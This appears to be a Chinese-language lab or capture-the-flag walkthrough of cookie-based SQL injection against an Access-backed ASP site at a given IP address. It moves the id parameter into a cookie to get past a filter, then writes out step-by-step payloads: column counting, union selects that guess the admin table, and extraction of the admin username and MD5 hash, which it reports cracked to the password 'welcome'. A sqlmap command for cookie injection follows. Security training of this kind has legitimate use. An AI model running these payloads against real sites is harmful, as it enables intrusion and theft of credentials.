天天看點

Access注入--cookie注入                                           Access注入--cookie注入

                                           Access注入--cookie注入

針對老網站: asp aspx php<5.4以下>

題目: http://59.63.200.79:8004

1.http://59.63.200.79:8004/shownews.asp?id=171-1

#頁面有變化,存在注入

2.http://59.63.200.79:8004/shownews.asp?id=171' and order by 1 -- qwe

#檢測到非法字元,有防護.

怎麼繞過:

1.規則繞過:

          1.用其他函數替換要用的函數

          2.用一些大小寫或其他的方法去繞過

2.讓waf不再對我們檢測

id=171        GET傳參

                   POST傳參

                   Cookie傳參 = header傳參

                   PHP中的 $REQUEST['id'] 可以接收GET傳參,POST傳參,Cookie傳參

                   注:php5.4以上不會接收Cookie傳參

設定Cookie:ookie使用需要URL編碼

1.浏覽器F12,Applica,Cookies

2.burp 抓包,URL編碼,添加cookie,重放

3.浏覽器F12,Console js控制台, document.cookie="id="+escape("171 order by 10")

删除URL中的id=171,重新進入網頁.

3.document.cookie="id="+escape("171 order by 11")

#10,正常 11,異常 有10個字段

4.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10")

#報錯,因為資料庫不同,Access資料庫是非常老的資料庫,MySQL文法不同

#access:沒有系統自帶表,沒有庫名

強行猜測: user admin news job

5.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from user...")

#強猜表名 使用burp,添加sqlmap中的表名字典進行爆破

6.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")

#報出2,3,字段點,字段名也需要強猜.

7.document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")

#得出username:admin

 password:b9a2a2b5dffb918c

8, b9a2a2b5dffb918c MD5解碼: welcome

使用sqlmap工具跑Cookie注入:

sqlmap.py -u "http://...../.../.asp" --cookie "id=171" --level 2

Cookie注入的核心: 傳參的方式不同

        asp(很常見10 9個)

        PHP(10 1個)

        jsp(100 1~2個)

cookie注入和資料庫沒有關系

         Access

        mysql

        oracle

        mssql

        DB2